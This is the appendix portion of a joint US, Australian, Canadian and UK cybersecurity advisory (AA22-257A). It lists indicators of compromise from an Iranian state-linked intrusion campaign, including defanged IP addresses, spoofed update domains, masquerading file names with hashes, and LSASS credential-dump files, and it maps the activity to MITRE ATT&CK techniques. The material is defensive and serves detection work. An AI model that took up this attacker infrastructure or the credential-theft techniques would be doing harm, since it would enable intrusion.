• ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at cyber.gov.au and via 1300 292 371 (1300 CYBER1).

PURPOSE

This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, USCC-CNMF, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

APPENDIX A: INDICATORS OF COMPROMISE

IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA22- 257A.stix.

IP Addresses

• 54.39.78[.]148
• 95.217.193[.]86
• 104.168.117[.]149
• 107.173.231[.]114
• 144.76.186[.]88
• 148.251.71[.]182
• 172.245.26[.]118
• 185.141.212[.]131
• 198.12.65[.]175
• 198.144.189[.]74

Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Malicious Domains

• newdesk[.]top
• symantecserver[.]co
• msupdate[.]us
• msupdate[.]top
• gupdate[.]us
• aptmirror[.]eu
• buylap[.]top
• winstore[.]us
• tcp443[.]org
• mssync[.]one
• upmirror[.]top
• tcp443 (subdomain)
• kcp53 (subdomain)

Files

Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Filename:	Wininet[.]xml
Path:	C:WindowsTempwininet[.]xml
MD5:	d2f4647a3749d30a35d5a8faff41765e
SHA-1:	0f676bc786db3c44cac4d2d22070fb514b4cb64c
SHA-256:	559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e
Filename:	Wininet’[.]xml
MD5:	2e1e17a443dc713f13f45a9646fc2179
SHA-1:	e75bfc0dd779d9d8ac02798b090989c2f95850dc
Filename:	WinLogon[.]xml
Path:	C:WindowsTempWinLogon[.]xml
MD5:	49c71178fa212012d710f11a0e6d1a30
SHA-1:	226f0fbb80f7a061947c982ccf33ad65ac03280f
SHA-256:	bcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea
Filename:	Wininet[.]bat
Path:	C:Windowswininet[.]bat
MD5:	5f098b55f94f5a448ca28904a57c0e58
SHA-1:	27102b416ef5df186bd8b35190c2a4cc4e2fbf37
SHA-256:	668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0
Filename:	Winlogon[.]bat
Path:	C:Windowswinlogon[.]bat
MD5:	7ac4633bf064ebba9666581b776c548f
SHA-1:	524443dd226173d8ba458133b0a4084a172393ef
SHA-256:	d14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7
Filename:	CacheTask[.]bat
Path:	C:ProgramDataMicrosoftCacheTask[.]bat
MD5:	ee8fd6c565254fe55a104e67cf33eaea
SHA-1:	24ed561a1ddbecd170acf1797723e5d3c51c2f5d
SHA-256:	c1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837

Filename:	Task_update[.]exe
Path:	C:WindowsTemptask_update[.]exe
MD5:	cacb64bdf648444e66c82f5ce61caf4b
SHA-1:	3a6431169073d61748829c31a9da29123dd61da8
SHA-256:	12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a
Filename:	Task[.]exe
MD5:	5b646edb1deb6396082b214a1d93691b
SHA-1:	763ca462b2e9821697e63aa48a1734b10d3765ee
SHA-256:	17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f
Filename:	dllhost[.]exe
Path:	C:Windowsdllhost[.]exe
MD5:	0f8b592126cc2be0e9967d21c40806bc	9a3703f9c532ae2ec3025840fa449d4e
SHA-1:	3da45558d8098eb41ed7db5115af5a2c6 1c543af	8ece87086e8b5aba0d1cc4ec3804bf74e 0b45bee
SHA-256:	724d54971c0bba8ff32aeb6044d3b3fd57 1b13a4c19cada015ea4bcab30cae26	1604e69d17c0f26182a3e3ff65694a4945 0aafd56a7e8b21697a932409dfd81e
Filename:	svchost[.]exe
Path:	C:Windowssvchost[.]exe
MD5:	68f58e442fba50b02130eedfc5fe4e5b	298d41f01009c6d6240bc2dc7b769205
SHA-1:	76dd6560782b13af3f44286483e157848 efc0a4e	6ca62f4244994b5fbb8a46bdfe62aa1c95 8cebbd
SHA-256:	b04b97e7431925097b3ca4841b894139 7b0b88796da512986327ff66426544ca	8aa3530540ba023fb29550643beb00c9c 29f81780056e02c5a0d02a1797b9cd9
Filename:	User[.]exe
Path:	C:WindowsTempuser[.]exe
MD5:	bd131ebfc44025a708575587afeebbf3	f0be699c8aafc41b25a8fc0974cc4582
SHA-1:	8b23b14d8ec4712734a5f6261aed40942 c9e0f68	6bae2d45bbd8c4b0a59ba08892692fe86 e596154
SHA-256:	b8a472f219658a28556bab4d6d109fdf3 433b5233a765084c70214c973becbbd	7b5fbbd90eab5bee6f3c25aa3c2762104 e219f96501ad6a4463e25e6001eb00b

Filename:	Setup[.]bat
Path:	C:UsersDefaultAccountDesktopNew foldersetup[.]bat
MD5:	7fdc2d007ef0c1946f1f637b87f81590
Filename:	Ssasl[.]pmd
Path:	C:WindowsTempssasl[.]pmd
Filename:	Ssasl[.]zip
Path:	C:WindowsTempssasl[.]zip
Filename:	netscanold[.]exe
Path:	C:UsersDefaultAccountDesktopnetscanoldnetscanold[.]exe
Filename:	scan[.]csv
Path:	C:UsersDefaultAccountDesktopscan[.]csv
Filename:	lsass[.]dmp
Path:	C:UsersDefaultAccountAppDataLocalTemplsass[.]dmp
Filename:	lsass[.]zip
Path:	C:UsersDefaultAccountAppDataLocalTemplsass[.]zip

 

APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES

Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.

 

Table 2: Observed Tactics and Techniques

Tactic	Technique
Resource Development ]TA0042]	Obtain Capabilities: Malware [T1588.001]
	Obtain Capabilities: Tool [T1588.002]
Initial Access [TA0001]	Exploit Public-Facing Application [T1190]
Execution [TA0002]	Scheduled Task/Job: Scheduled Task [T1053.005]
Persistence [TA0003]	Create Account: Local Account [T1136.001]
	Create Account: Domain Account [T1136.002]
Privilege Escalation [TA0004]
Credential Access [TA0006]
Collection [TA0009]	Archive Collected Data: Archive via Utility [T1560.001]
Exfiltration [TA0010]
Impact [TA0040]	Data Encrypted for Impact [T1486]

Revisions

• September 14, 2022: Initial Version

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